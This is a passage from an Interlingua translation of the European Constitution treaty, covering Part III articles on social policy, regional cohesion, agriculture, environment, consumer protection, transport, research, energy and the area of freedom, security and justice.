gratificationes pagate directe- aut indirectemente, in moneta aut in natura, per le empleator al laborator in ration del empleo. Le equalitate de remuneration, sin discrimination fundate super le sexo, significa:\na) que le remuneration accordate pro un mesme labor remunerate per unitate de obra se fixa super le base de un mesme unitate de mesura;\nb) que le remuneration accordate pro un labor remunerate per unitate de tempore est equal pro un mesme posto de labor.\nConstitution\/ra 165\n3. Le lege aut lege-quadro europeo stabili le mesuras pro garantir le application del principio del equalitate de opportunitates et del equalitate de tractamento inter feminas et viros relative a empleo et a labor, includite le principio del equalitate del remunerationes pro un mesme labor aut un labor de mesme valor. Le lege aut lege-quadro est adoptate post consultation del Committato Economic et Social.\n4. Pro garantir in le practica le plen equalitate inter feminas et viros in le vita professional, le principio del equalitate de tractamento non impedi a un Stato membro de mantener aut adoptar mesuras que offere avantages specific destinate a facilitar al sexo minus representate le exercitio de un activitate professional aut a prevenir aut a compensar disavantages in lor carriera professional.\nARTICULO III-215\nLe Statos membros se effortia a mantener le equivalentia existente inter le regimes de vacantias pagate.\nARTICULO III-216\nLe Commission elabora un reporto annual re le evolution del realization del objectivos mentionate in le articulo III-209, includite le situation demographic in la Union. Le Commission transmitte iste reporto al Parlamento Europeo, al Consilio et al Committato Economic et Social.\nARTICULO III-217\nLe Consilio adopta per majoritate simple un decision europeo instituente un Committato del Protection Social, de character consultative, pro promover le cooperation relative al protection social inter le Statos membros et con le Commission. Le Consilio decide post consultation del Parlamento Europeo.\nConstitution\/ra 166\nLe Committato ha le sequente functiones:\na) sequer le situation social et le evolution del politicas de protection social in le Statos membros et in la Union;\nb) facilitar le intercambios de informationes, de experientias et de bon practicas inter le Statos membros et con le Commission;\nc) sin prejudicio del articulo III-344, elaborar reportos, emitter avisos aut interprender altere activitates in le dominios relative a su attributiones, sia per petition del Consilio aut del Commission, sia per proprie initiativa.\nPro le complimento de su mandato, le Committato stabili contactos adequate con le partners social. Cata Stato membro et le Commission nomina duo membros del Committato.\nARTICULO III-218\nLe Commission dedica, in su reporto annual al Parlamento Europeo, un capitulo special al evolution del situation social in la Union. Le Parlamento Europeo pote invitar le Commission a elaborar reportos re problemas particular relative al situation social.\nConstitution\/ra 167\nARTICULO III-219\n1. Pro meliorar le possibilitates de empleo del laboratores in le mercato interior et pro contribuer assi al elevation del nivello de vita, est instituite un Fundo Social Europeo destinate a promover intra la Union le facilitates de empleo et le mobilitate geographic et professional del laboratores, assi como a facilitar lor adaptation al transformationes industrial et al evolution del systemas de production, in particular per le formation et le reconversion professional.\n2. Le Commission administra le Fundo. In iste carga illo est assistite per un Committato, presidite per un membro del Commission et composito de representantes del Statos membros et del organizationes syndical de laboratores et de empleatores.\n3. Le lege europeo stabili le mesuras de application relative al Fundo. Iste mesuras est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\nConstitution\/ra 168\nSECTION 3\nCOHESION ECONOMIC, SOCIAL et TERRITORIAL\nARTICULO III-220\nA fin de promover un disveloppamento harmoniose del insimul de la Union, illo disveloppa et proseque su action tendente a reinfortiar su cohesion economic, social et territorial.\nIn particular la Union tenta reducer le differentias inter le nivellos de disveloppamento del varie regiones et le retardo del regiones minus favorate.\nInter le regiones concernite se presta un attention special al zonas rural, al zonas affectate per un transition industrial et al regiones que suffre del disavantages natural aut demographic grave et permanente como, per exemplo, regiones le plus septentrional con pauc densitate de population et le regiones insular, de montania, et situate trans le frontieras.\nARTICULO III-221\nLe Statos membros conduce lor politica economic et lo coordina in vista equalmente de attinger le objectivos mentionate in le articulo III-220. Le formulation et execution del politicas et actiones de la Union et le realization del mercato interior considera iste objectivos et participa a lor realization. la Union appoia anque iste realization per le action que illo exerce per le fundos con scopo structural (Fundo Europeo de Orientation et de Garantia Agricole, section \"Orientation\"; Fundo Social Europeo, Fundo Europeo de Disveloppamento Regional), le Banca Europeo de Investimentos et altere instrumentos financiari existente.\nConstitution\/ra 169\nTote le tres annos le Commission presenta al Parlamento Europeo, al Consilio, al Committato del Regiones et al Committato Economic et Social un reporto re le progressos complite in le realization del cohesion economic, social et territorial, et re como le diverse medios mentionate in le presente articulo ha contribuite a illo. In su caso iste reporto est accompaniate del propositiones adequate.\nLe lege aut lege-quadro europeo pote stabilir mesuras specific foras del fundos, sin prejudicio del mesura adoptate in le quadro del altere politicas de la Union. Le lege aut lege-quadro est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\nARTICULO III-222\nLe Fundo Europeo de Disveloppamento Regional est destinate a contribuer al correction del principal disequilibrios regional intra la Union per un participation in le disveloppamento et in le adjustamento structural del regiones minus disveloppate et in le reconversion del regiones industrial in declino.\nARTICULO III-223\n1. Sin prejudicio del articulo III-224, le lege europeo determina le functiones, le objectivos prioritari et le organization del fundos con scopo structural, lo que pote comportar le regruppamento del fundos, le regulas general applicabile al fundos, assi como le dispositiones necessari pro garantir lor efficacia et le coordination del fundos inter se et con le altere instrumentos financiari existente.\nUn Fundo de Cohesion, create per le lege europeo, contribue financiarimente al realization de projectos in le dominio del ambiente et del retes transeuropeo in materia de infrastructuras del transporto.\nConstitution\/ra 170\nIn tote le casos le lege europeo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\n2. Le prime dispositiones relative al fundos con scopo structural et al Fundo de Cohesion adoptate post le dispositiones in vigor al data del signatura del Tractato stabiliente un Constitution pro Europa, est stabilite per un lege europeo del Consilio. Illo decide per unanimitate post approbation del Parlamento Europeo.\nARTICULO III-224\nLe lege europeo stabili le mesuras de application relative al Fundo Europeo de Disveloppamento Regional. Iste lege est adoptate post consultation del Committato del Regiones et del Committato Economic et Social. Concernente le Fundo Europeo de Orientation et de Garantia Agricole, section \"orientation\", et le Fundo Social Europeo, est applicabile respectivemente le articulo III-231 et le articulo III-219(3).\nConstitution\/ra 171\nSECTION 4\nAGRICULTURA et PISCA\nARTICULO III-225\nLe Union defini et applica un politica commun de agricultura et pisca.\nPer \"productos agricole\" se intende le productos del solo, del elevamento de bestial et del pisca et le productos de prime transformation directemente relationate con iste productos. Le referentias al politica agricole commun aut al agricultura, et le utilisation del termino \"agricole\", se intende como visante anque al pisca, tenente conto del characteristicas specific de iste sector.\nARTICULO III-226\n1. Le mercato interior se extende al agricultura et al commercio del productos agricole.\n2. Salvo dispositiones contrari del articulos III-227 a III-232, le regulas mentionate pro le stabilimento et le functionamento del mercato interior est applicabile al productos agricole.\n3. Le productos enumerate in le annexo I est subjecte al articulos III-227 a III-232.\n4. Le functionamento et disveloppamento del mercato interior pro le productos agricole debe esser accompaniate per un politica agricole commun.\nConstitution\/ra 172\nARTICULO III-227\n1. Le objectivos del politica agricole commun es:\na) incrementar le productivitate agricole per promover le progresso technic et per assecurar le disveloppamento rational del production agricole et le empleo optime del factores de production, in particular del mano de obra;\nb) assecurar assi un nivello de vita equitabile pro le population agricole, in particular per le augmentation del salarios individual del personas qui labora in le agricultura;\nc) stabilisar le mercatos;\nd) garantir le securitate del approvisionamentos,\ne) assecurar precios rationabile pro le consumitores.\n2. In le elaboration del politica agricole commun et del methodos special que illo pote implicar, on debe tener conto de:\na) le character particular del activitate agricole que se deriva del structura social del agricultura et del disparitates structural et natural inter le diverse regiones agricole;\nb) le necessitate de effectuar gradualmente le adaptationes opportun;\nc) le facto que in le Statos membros le agricultura constitue un sector strictemente ligate al insimul del economia,\nConstitution\/ra 173\nARTICULO III-228\n1. Pro attinger le objectivos mentionate in le articulo III-227, un organization commun del mercatos agricole est stabilite.\nSecundo le productos, iste organization adopta un del sequente formas:\na) regulas commun re le concurrentia;\nb) un coordination obligatori del diverse organizationes national del mercato;\nc) un organization europeo del mercato.\n2. Le organization commun stabilite sub un del formas mentionate in le paragrapho 1 pote includer tote le mesuras necessari pro attinger le objectivos mentionate in le articulo III-227, in particular le regulation del precios, del subventiones al production et al commercialisation del diverse productos, del systemas de stockage et del mechanismos commun pro le stabilisation del importationes aut exportationes.\nLe organization commun debe limitar se a prosequer le objectivos mentionate in le articulo III-227 et debe excluder tote discrimination inter productores et consumitores in la Union.\nUn politica commun eventual del precios debe esser fundate super criterios commun et super methodos de calculo uniforme.\n3. A fin de permitter al organization commun mentionate in le paragrapho 1 pro attinger su objectivos, un aut plure fundos agricole de orientation et de garantia pote esser create.\nConstitution\/ra 174\nARTICULO III-229\nPro permitter de attinger le objectivos mentionate in le articulo III-227, il pote stabilir se in le quadro del politica commun agricole:\na) un coordination efficace de effortios facite in le sectores del formation professional, del recerca et del vulgarisation del cognoscentias agronomic, lo que pote includer projectos aut institutiones financiate in commun;\nb) actiones commun pro le disveloppamento del consumption de certe productos.\nARTICULO III-230\n1. Le section relative al regulas de concurrentia est applicabile al production et al commercio del productos agricole solamente in le mesura determinate per le lege aut le lege-quadro europeo, conformemente con le articulo III-231(2), tenite conto del objectivos mentionate in le articulo III-227.\n2. Le Consilio, per proposition del Commission, pote adoptar un regulamento europeo aut un decision europeo autorisante le concession de adjutas:\na) pro le protection de interprisas disfavorate per conditiones structural aut natural;\nb) in le quadro de programmas de disveloppamento economic.\nConstitution\/ra 175\nARTICULO III-231\n1. Le Commission presenta propositiones relative al elaboration et execution del politica commun agricole, includite le substitution al organizationes national per alicunes del formas de organization commun mentionate in le articulo III-228(1), assi como le execution del mesuras mentionate in le presente section.\nIste propositiones tene conto del interdependentia del questiones agricole mentionate in le presente section.\n2. Le lege europeo aut le lege-quadro europeo stabili le organization commun del mercato agricole mentionate in le articulo III-228(1), assi como le altere dispositiones necessari pro prosequer le objectivos del politica commun del agricultura et del pisca. Illos est adoptate post consultation del Committato Economic et Social. Le Consilio, per proposition del Commission, adopta le regulationes aut decisiones europeo relative a fixation de precios, impostos, adjuta et limitationes quantitative et le fixation et allocation de possibilitate de pisca.\n3. Le Consilio, per proposition del Commission, adopta le regulamentos aut decisiones europeo relative al fixation del precios, del impostos, del adjutas et del limitationes quantitative, assi como al fixation et al possibilitates de pisca.\n4. Sub le conditiones mentionate in le paragrapho 2, le organizationes national de mercato pote esser substituite per le organizationes commun mentionate in le articulo III-228(1), si:\na) le organization commun offere al Statos membros, que se oppone a iste mesura et que dispone de un organization national pro le production in question, garantias equivalente pro le empleo et le nivello de vita del productores concernite, tenente conto del rhythmo del adaptationes possibile et del specialisationes necessari, et\nb) iste organization assecura pro le intercambios intra la Union conditiones analoge a illos que existe in un mercato national.\nConstitution\/ra 176\n5. Si on ha create un organization commun pro certe materias prime, sin que existe ancora un organization commun pro le productos de transformation correspondente, le materias prime utilisate pro le productos de transformation destinate al exportation verso tertie paises pote esser importate del exterior de la Union.\nARTICULO III-232\nQuando, in un Stato membro, un producto est le objecto de un organization national del mercato aut de qualcunque regulamentation interne de effecto equivalente affectante le position concurrential de un production similar in un altere Stato membro, le Statos membros applica un taxa compensatori al entrata de iste producto proveniente del Stato membro que possede iste organization aut regulamentation, salvo si iste Stato jam applica un taxa compensatori quando le producto quita le pais.\nLe Commission adopta regulamentos aut decisiones europeo que fixa le amonta de iste taxas in le mesura necessari pro restabilir le equilibrio. Illo pote autorisar equalmente le adoption de altere mesuras sub le conditiones et secundo le modalitates que illo determina.\nConstitution\/ra 177\nSECTION 5\nAMBIENTE\nARTICULO III-233\n1. Le politica de la Union in le dominio del medio ambiente contribue a attinger le objectivos sequente:\na) le preservation, le protection et le melioration del qualitate del medio ambiente;\nb) le protection del sanitate del personas;\nc) le utilisation prudente et rational del ressources natural;\nd) le promotion, al nivello international, de mesuras destinate a facer fronte al problemas regional aut mundial del medio ambiente.\n2. Le politica de la Union in le dominio del medio ambiente ha como objectivo un nivello elevate de protection, tenente conto del diversitate del situationes existente in le differente regiones de la Union. Illo est fundate super le principios de precaution et de action preventive, super le principio del correction del damnos al medio ambiente, preferentialmente al origine, et super le principio de qui contamina paga.\nIn iste contexto, le mesuras de harmonisation respondente al exigentias del protection del medio ambiente include, in le casos appropriate, un clausula de salveguarda autorisante le Statos membros a adoptar, pro motivos ambiental non-economic, dispositiones provisori submittite a un procedura de controlo per la Union.\n3. in le elaboration de su politica in le dominio del medio ambiente, la Union tene conto:\nConstitution\/ra 178\na) del datos scientific et technic disponibile;\nb) del conditiones ambiental in le diverse regiones de la Union;\nc) del avantages et del cargas que pote resultar del action aut del absentia de action;\nd) del disveloppamento economic et social de la Union in su insimul et del disveloppamento equilibrate de su regiones.\n4. In le quadro de lor competentias respective, la Union et le Statos membros coopera con le tertie paises et le organizationes international competente. Le modalitates del cooperation de la Union pote esser le objecto de accordos inter illo et le tertie partes concernite. Le prime paragrapho non prejudica le competentias del Statos membros pro negotiar in le foros international et pro concluder accordos international.\nARTICULO III-234\n1. Le lege aut lege-quadro europeo stabili le actiones a interprender pro realizar le objectivos mentionate in le articulo III-233. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\n2. Nonobstante lo que est disponite in le paragrapho 1, et sin prejudicio del articulo III-172, le Consilio adopta per unanimitate leges aut leges-quadro europeo stabiliente:\na) dispositiones essentialmente de natura fiscal;\nb) le mesuras affectante:\nConstitution\/ra 179\ni) le ordination del territorio; ii) le gestion quantitative del ressources hydric aut toccante directe- aut indirectemente le disponibilitate de iste ressources; iii) le utilisation del solos, con exception del gestion del residuos;\nc) le mesuras affectante sensibilemente le election per un Stato membro inter differente fontes de energia et le structura general de su approvisionamento energetic.\nLe Consilio, per proposition del Commission, pote adoptar per unanimitate un decision europeo pro render le procedura legislative ordinari applicabile al dominios mentionate in le paragrapho 1. In tote le casos, le Consilio prende decision post consultation del Parlamento Europeo, del Committato del Regiones et del Committato Economic et Social.\n3. Le lege europeo stabili programmas de action de character general que fixa le objectivos prioritari a attinger. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social. Le mesuras necessari pro le execution de iste programmas est adoptate conformemente con le conditiones mentionate in le paragrapho 1, secundo le casos.\n4. Sin prejudicio de certe mesuras adoptate per la Union, le Statos membros assecura le financiamento et le execution del politica relative al medio ambiente.\n5. Sin prejudicio del principio de qui contamina paga, quando un mesura fundate super le paragrapho 1 implica costos considerate disproportionate pro le autoritates public de un Stato membro, iste mesura previde sub un forma appropriate:\nConstitution\/ra 180\na) derogationes temporari, e\/o\nb) un appoio financiari del Fundos de cohesion.\n6. Le mesuras de protection adoptate in virtute del presente articulo non est un obstaculo al mantenimento et al stabilimento, per cata Stato membro, de mesuras de protection reinfortiate. Iste mesuras debe esser compatibile con le Constitution. Illos est notificate al Commission.\nSECTION 6\nPROTECTION DEL CONSUMITORES\nARTICULO III-235\n1. Pro promover le interesses del consumitores et garantir un nivello elevate de protection del consumitores, la Union contribue al protection del sanitate, del securitate et del interesses economic del consumitores, et anque al promotion de lor derecto al information, al education et a organizar se pro defender lor interesses.\n2. la Union contribue al realization del objectivos mentionate in le paragrapho 1 per:\na) mesuras adoptate in application del articulo III-172 in le quadro del stabilimento aut del functionamento del mercato interior;\nb) mesuras que appoia et completa le politica del Statos membros, et assecura su continuation.\nConstitution\/ra 181\n3. Le lege aut lege-quadro europeo stabili le mesuras mentionate in le paragrapho 2(b). Illo est adoptate post consultation del Committato Economic et Social.\n4. Le actos adoptate in application del paragrapho 3 non pote impedir un Stato membro de mantener aut de stabilir dispositiones de protection plus stricte. Iste dispositiones debe esser compatibile con le Constitution. Illos est notificate al Commission\nSECTION 6\nTRANSPORTOS\nARTICULO III-236\n1. Le objectivos de la Constitution est prosequite, in le materia regulate per le presente section, in le quadro de un politica commun del transportos.\n2. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social. Le lege aut lege-quadro europeo stabili:\na) regulas commun applicabile al transportos international executate ab et verso le territorio de un Stato membro, aut transversante le territorio de un aut plure Statos membros;\nConstitution\/ra 182\nb) le conditiones de admission de transportatores non-residente al transportos national in un Stato membro;\nc) le mesuras que permitte meliorar le securitate del transportos;\nd) qualcunque altere mesura utile.\n2. Quando se adopta le lege aut lege-quadro europeo mentionate in le paragrapho 2, se tene conto del casos in le quales su application esserea susceptibile de affectar gravemente le nivello de vita et le empleo in certe regiones, assi como le exploitation del material de transporto.\nARTICULO III-237\nUsque al adoption del lege aut lege-quadro europeo mentionate in le articulo III-236(2), et salvo su adoption per unanimitate de un decision europeo del Consilio accordante un exception, necun Stato membro pote facer que le differente dispositiones que ha regulate iste materia le 1 de januario 1958 o, pro le Statos adherite, al data de lor adhesion, produce effectos que, directe- aut indirectemente, disfavora le transportatores del altere Statos comparate con le transportatores national.\nARTICULO III-238\nEs compatibile con la Constitution le adjutas que responde al necessitates del coordination del transportos aut que corresponde al reimbursamento de certe obligationes inherente al notion de servicio public.\nConstitution\/ra 183\nARTICULO III-239\nCata mesura in le dominio del precios et conditiones de transporto, adoptate in le quadro del Constitution, debe tener conto del situation economic del transportatores.\nARTICULO III-240\n1. In le traffico al interior de la Union, est prohibite le discriminationes que consiste in le application per un transportator, pro le mesme mercantias et le mesme relationes de traffico, de precios et conditiones de transporto differente in ration del Stato membro de origine aut de destination del productos transportate.\n2.Le paragrapho 1 non exclude que altere leges aut leges-quadro europeo pote esser adoptate in application del articulo III-236(2).\n3. Le Consilio, per proposition del Commission, adopta regulamentos aut decisiones europeo que garanti le application del paragrapho 1. Illo prende decision post consultation del Parlamento Europeo et del Committato Economic et Social. Illo pote adoptar, in particular, le regulamentos et decisiones europeo pro permitter al institutiones veliar le respecto del regula mentionate in le paragrapho 1 et assecurar le plen beneficio al usatores.\nConstitution\/ra 184\n4. Le Commission, per proprie initiativa aut per un requesta de un Stato membro, examina le casos de discrimination mentionate in le paragrapho 1 e, post consultation de qualcunque Stato membro interessate, adopta, in le quadro del regulamentos et decisiones europeo mentionate in le paragrapho 3, le decisiones necessari.\nARTICULO III-241\n1. Le application imponite per un Stato membro, al transportos executate al interior de la Union, de precios et conditiones comportante qualcunque elemento de adjuta aut de protection in le interesse de un aut plure interprisas aut industrias particular, est prohibite, salvo si illo est autorisate per un decision europeo del Commission.\n2, Le Commission, per proprie initiativa aut per un requesta de un Stato membro, examina le precios et conditiones mentionate in le paragrapho 1, tenente conto, in particular, de un parte, del exigentias de un politica economic regional appropriate, del necessitates del regiones subdisveloppate, assi como del problemas del regiones gravemente affectate per le circumstantias politic e, de altere parte, del effectos de iste precios et conditiones super le concurrentia inter le diverse modos de transporto. Post consultation de tote le Statos membros interessate, illo adopta le decisiones europeo necessari.\n3. Le prohibition mentionate in le paragrapho 1 non se applica al tarifas de concurrentia.\nARTICULO III-242\nLe taxas et impostos que, independentemente del precios de transporto, est percipite per un transportator al passage del frontieras non debe superar un nivello rationabile, tenite conto del costos real effective de iste passage.\nConstitution\/ra 185\nLe Statos membros se effortia de reducer iste costos. Le Commission pote diriger al Statos membros recommendationes relative al application del presente articulo.\nARTICULO III-243\nLe dispositiones del presente Section non est un obstaculo al mesuras adoptate in le Republica Federal de Germania, in le mesura que illos est necessari pro compensar le disavantages economic causate per le division de Germania, al economia de certe regiones del Republica Federal affectate per iste division. Cinque annos post le entrata in vigor del tractato stabiliente un Constitution pro Europa, le Consilio, per proposition del Commission, pote adoptar un decision europeo abrogante le presente articulo.\nARTICULO III-244\nUn Committato de character consultative adjuncte al Commission, composito de expertos designate per le governamentos del Statos membros, est instituite. Le Commission consulta iste Committato re le transportos cata vice que illo lo judica utile.\nARTICULO III-245\n1. Le presente section se applica al transportos per ferrovia, per camminos et per vias navigabile.\nConstitution\/ra 186\n2. Le lege aut lege-quadro europeo pote stabilir mesuras appropriate pro le navigation maritime et aeree. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\nSECTION 8\nRETES TRANSEUROPEO\nARTICULO III-246\n1. In vista de contribuer al realization del objectivos mentionate in le articulos III-130 et III-220 et de permitter al citatanos de la Union, al operatores economic, assi como al collectivitates regional et local, de beneficiar plenmente del avantages derivate del creation de un spatio sin frontieras interior, la Union contribue al stabilimento et al disveloppamento de retes transeuropeo in le sectores del infrastructuras del transporto, del telecommunicationes et del energia.\n2. In le quadro de un systema de mercatos aperte et concurrential, le action de la Union visa a favorar le interconnexion et le interoperabilitate del retes national, assi como le accesso a iste retes. Illo tene conto in particular del necessitate de connecter le regiones insular, isolate et peripheric con le regiones central de la Union.\nConstitution\/ra 187\nARTICULO III-247\n1. Pro realizar le objectivos mentionate in le articulo III-246, la Union:\na) stabili un insimul de orientationes re le objectivos, le prioritates, assi como le grande lineas, de action previste in le dominio del retes transeuropeo. Iste orientationes determina projectos de interesse commun;\nb) realiza le actiones que pote monstrar se necessari pro garantir le interoperabilitate del retes, in particular in le dominio del harmonisation del normas technic;\nc) pote appoiar projectos de interesse commun que recipe le appoio del Statos membros, et que est definite in le quadro del orientationes mentionate in le littera a), in particular sub forma de studios de facibilitate, de garantias de credito aut de bonificationes de interesse; la Union pote equalmente contribuer al financiamento, in le Statos membros, de projectos specific de infrastructura del transportos per medio del Fundo de cohesion.\nLe action de la Union tene conto del viabilitate economic potential del projectos.\n2. Le lege aut lege-quadro europeo stabili le orientationes et le altere mesuras mentionate in le paragrapho 1. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\nLe orientationes et projectos de interesse commun que concerne le territorio de un Stato membro require le accordo del Stato membro concernite.\nConstitution\/ra 188\n3. Le Statos membros coordina inter se, in collaboration con le Commission, le politicas conducite al nivello national que pote haber un impacto significative super le realization del objectivos mentionate in le articulo III-246. Le Commission pote prender, in stricte collaboration con le Statos membros, qualcunque initiativa pro promover iste coordination.\n4. la Union pote cooperar con le paises tertie pro promover projectos de interesse commun et garantir le interoperabilitate del retes.\nSECTION 9\nRECERCA et DISVELOPPAMENTO TECHNOLOGIC et SPATIO\nARTICULO III-248\n1. Le action de la Union visa a reinfortiar su bases scientific et technologic, per le realization de un spatio europeo del recerca in le qual le investigatores, le cognoscentias scientific et le technologias circula liberemente, a favorar le disveloppamento de su competitivitate, includite illo de su industria, assi como a promover le actiones de recerca judicate necessari in vista del altere capitulos del Constitution.\n2. Pro le fines mentionate in le paragrapho 1, illo stimula, in le insimul de la Union, le interprisas, includite le parve et le median interprisas, le centros de recerca et le universitates in lor effortios de recerca et de disveloppamento technologic de alte qualitate. Illo appoia lor effortios de cooperation, con le fin, specialmente, de permitter al investigatores de cooperar liberemente trans le frontieras, et al interprisas de exploitar le potentialitates del mercato interior al favor, in particular, del apertura del mercatos public national, del definition de normas commun et del elimination del obstaculos juridic et fiscal a iste cooperation.\nConstitution\/ra 189\n3. Tote le actiones de la Union in le dominio del recerca et del disveloppamento technologic, includite le actiones de demonstration, est decidite et executate conformemente con le presente Section.\nARTICULO III-249\nPro prosequer le objectivos mentionate in le articulo III-248, la Union realiza le actiones sequente, que completa le actiones interprendite in le Statos membros:\na) execution de programmas de recerca, de disveloppamento technologic et de demonstration promovente le cooperation con et inter le interprisas, le centros de recerca et le universitates;\nb) promotion del cooperation in materia de recerca, de disveloppamento technologic et de demonstration de la Union con le paises tertie et le organizationes international;\nc) diffusion et exploitation del resultatos del activitates in materia de recerca, de disveloppamento technologic et de demonstration de la Union;\nd) stimulation del formation et del mobilitate del investigatores de la Union.\nARTICULO III-250\n1. la Union et le Statos membros coordina lor action in materia de recerca et de disveloppamento technologic, a fin de garantir le coherentia reciproc del politicas national et del politica de la Union.\nConstitution\/ra 190\n2. Le Commission pote prender, in stricte collaboration con le Statos membros, qualcunque initiativa utile pro promover le coordination mentionate in le paragrapho 1, in particular del initiativas in vista de stabilir orientationes et indicatores, de organizar le intercambio del melior practicas et de preparar le elementos necessari pro le controlo et le evalutation periodic. Le Parlamento Europeo est plenmente informate.\nARTICULO III-251\n1. Le lege europeo stabili le programma-quadro pluriannual, que include le insimul del actiones financiate per la Union. Illo est adoptate post consultation del Committato Economic et Social. Le programma-quadro:\na) fixa le objectivos scientific et technologic que debe esser realizate per le actiones mentionate in le articulo III-249 et le prioritates correspondente;\nb) indica le grande lineas de iste actiones;\nc) fixa le amonta global maxime et le modalitates del participation financiari de la Union in le programma-quadro, assi como le proportion representate pro cata un del actiones mentionate\n2.Le programma-quadro pluriannual est adaptate aut completate in function del evolution del situationes.\nConstitution\/ra 191\n3. Un lege europeo del Consilio stabili le programmas specific que disveloppa le Programma-quadro pluriannual in cata un del actiones. Cata programma specific precisa le modalitates de su realization, fixa su duration et previde le medios considerate necessari. Le summa del amontas considerate necessari, fixate per le programmas specific, non pote superar le amonta global maxime fixate pro le programma-quadro et pro cata action. Iste lege est adoptate post consultation del Parlamento Europeo et del Committato Economic et Social.\n4. Como complemento del actiones previste in le programma-quadro pluriannual, le lege europeo stabili le mesuras necessari pro le realization del spatio europeo de recerca. Illo est adoptate post consultation del Committato Economic et Social.\nARTICULO III-252\n1. Pro le execution del Programma-quadro pluriannual, le lege aut lege-quadro stabili:\na) le regulas de participation del interprisas, del centros de recerca et del universitates;\nb) le regulas applicabile al diffusion del resultatos del recerca. Le lege aut lege-quadro europeo est adoptate post consultation del Committato Economic et Social.\n2. In le execution del Programma-quadro pluriannual, le lege europeo pote stabilir programmas complementari in le quales solamente participa certe Statos membros que garanti su financiation, sub reserva de un participation eventual de la Union.\nConstitution\/ra 192\nLe lege europeo fixa le regulas applicabile al programmas complementari, in particular in materia de diffusion del cognoscentias et del accesso de altere Statos membros. Illo est adoptate post consultation del Committato Economic et Social et con le accordo del Statos membros concernite.\n3. In le execution del Programma-quadro pluriannual, le lege europeo pote, in accordo con le Statos membros concernite, stabilir un participation in programmas de recerca et de disveloppamento interprendite per plure Statos membros, includite le participation in le structuras create pro le execution de iste programmas. Le lege europeo est adoptate post consultation del Committato Economic et Social.\n4. In le execution del Programma-quadro pluriannual, la Union pote previder un cooperation in materia de recerca, de disveloppamento technologic et de demonstration de la Union con tertie paises aut con organizationes international. Le modalitates de iste cooperation pote esser objecto de accordos inter la Union et le tertie partes concernite.\nARTICULO III-253\nLe Consilio pote, per proposition del Commission, adoptar regulamentos aut decisiones europeo destinate a crear interprisas commun aut qualcunque altere structura necessari pro le bon execution del programmas de recerca, de disveloppamento technologic et de demonstration de la Union. Illo prende decision post consultation del Parlamento Europeo et del Committato Economic et Social.\nConstitution\/ra 193\nARTICULO III-254\n1. Pro favorar le progresso scientific et technic, le competitivitate industrial et le application de su politicas, la Union elabora un politica spatial europeo. Pro iste fin illo pote promover initiativas commun, appoiar le recerca et le disveloppamento technologic, et coordinar le effortios necessari pro le exploration et le utilisation del spatio.\n2. Pro contribuer al realization del objectivos mentionate in le paragrapho 1, le lege aut lege-quadro europeo stabili le mesuras necessari, que pote prender le forma de un programma spatial europeo.\n3. la Union stabili le relationes utile con le Agentia Spatial Europeo.\nARTICULO III-255\nAl initio de cata anno, le Commission presenta un reporto al Parlamento Europeo et al Consilio. Iste reporto tracta in particular del activitates realizate in materia de recerca, de disveloppamento technologic et de diffusion del resultatos durante le anno precedente et re le programma de labor del anno in curso.\nConstitution\/ra 194\nSECTION 10\nENERGIA\nARTICULO III-256\n1. In le quadro del stabilimento aut del functionamento del mercato interior et tenente conto del exigentia de preservar et de meliorar le medio ambiente, le politica de la Union in le dominio del energia ha como objectivo:\na) garantir le functionamento del mercato del energia;\nb) garantir le securitate del approvisionamento energetic in la Union, et\nc) promover le efficacia energetic et le economias de energia assi como le disveloppamento del energias nove et renovabile.\n2. Sin prejudicio del application de altere dispositiones del Constitution, le lege aut lege-quadro europeo stabili le mesuras necessari pro attinger le objectivos mentionate in le paragrapho 1. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social. Le lege aut lege-quadro europeo non affecta le derecto de un Stato membro de determinar le conditiones de exploitation de su ressources energetic, su election inter differente fontes de energia et le structura general de su approvisionamento energetic, sin prejudicio del paragrapho 2 del articulo III-234(2)(c).\nConstitution\/ra 195\n3. Nonobstante lo que est disponite in le paragrapho 2, un lege aut lege-quadro europeo del Consilio stabili le mesuras mentionate in iste paragrapho, quando illos est essentialmente de character fiscal. Le Consilio decide per unanimitate post consultation del Parlamento Europeo.\nCAPITULO IV\nSPATIO DE LIBERTATE, SECURITATE et JUSTITIA\nSECTION 1\nDISPOSITIONES GENERAL\nARTICULO III-257\n1. la Union constitue un spatio de libertate, de securitate et de justitia in le respecto del derectos fundamental et del differente systemas et traditiones juridic del Statos membros.\n2. Illo garanti le absentia de controlos del personas al frontieras interior et disveloppa un politica commun de asylo, de immigration et de controlo del frontieras exterior que est fundate super le solidaritate inter Statos membros et que est equitabile pro le citatanos de tertie paises. Concernente le presente capitulo, le personas sin patria est assimilate al citatanos del tertie paises.\nConstitution\/ra 196\n3. la Union se effortia pro garantir un nivello elevate de securitate per mesuras de prevention del delinquentia, del racismo et del xenophobia assi como de lucta contra illos, per mesuras de coordination et cooperation inter autoritates policiari et judiciari et altere autoritates competente, assi como per le recognoscentia mutual del decisiones judiciari in materia penal e, si necessari, per le approximation del legislationes penal.\n4. la Union facilita le accesso al justitia, in particular per le principio de recognoscentia mutual del decisiones judiciari et extrajudiciari in materia civil.\nARTICULO III-258\nLe Consilio Europeo defini le orientationes strategic del programmation legislative et operational in le spatio de libertate, de securitate et de justitia.\nARTICULO III-259\nIn relation con le propositiones et initiativas legislative presentate in le quadro del Sectiones 4 et 5, le parlamentos national velia le respecto del principio de subsidiaritate, conformemente con le protocollo re le application del principios de subsidiaritate et de proportionalitate\nConstitution\/ra 197\nARTICULO III-260\nSin prejudicio del articulos III-360 a III-362, le Consilio pote, per proposition del Commission, adoptar regulamentos aut decisiones europeo que stabili modalitates per le quales le Statos membros, in collaboration con le Commission, procede a un evalutation objective et impartial del application, per le autoritates del Statos membros, del politicas de la Union mentionate in le presente articulo, in particular pro favorar le plen application del principio de recognoscentia mutual. Le Parlamento Europeo et le parlamentos national est informate del contento et del resultatos de iste evalutation.\nARTICULO III-261\nUn committee permanente est instituite al sino del Consilio pro garantir al interior de la Union le promotion et le reinfortiamento del cooperation operational in materia de securitate interior. Sin prejudicio del articulo III-344, illo favora le coordination del action del autoritates competente del Statos membros. Le representantes del organos et organismos concernite de la 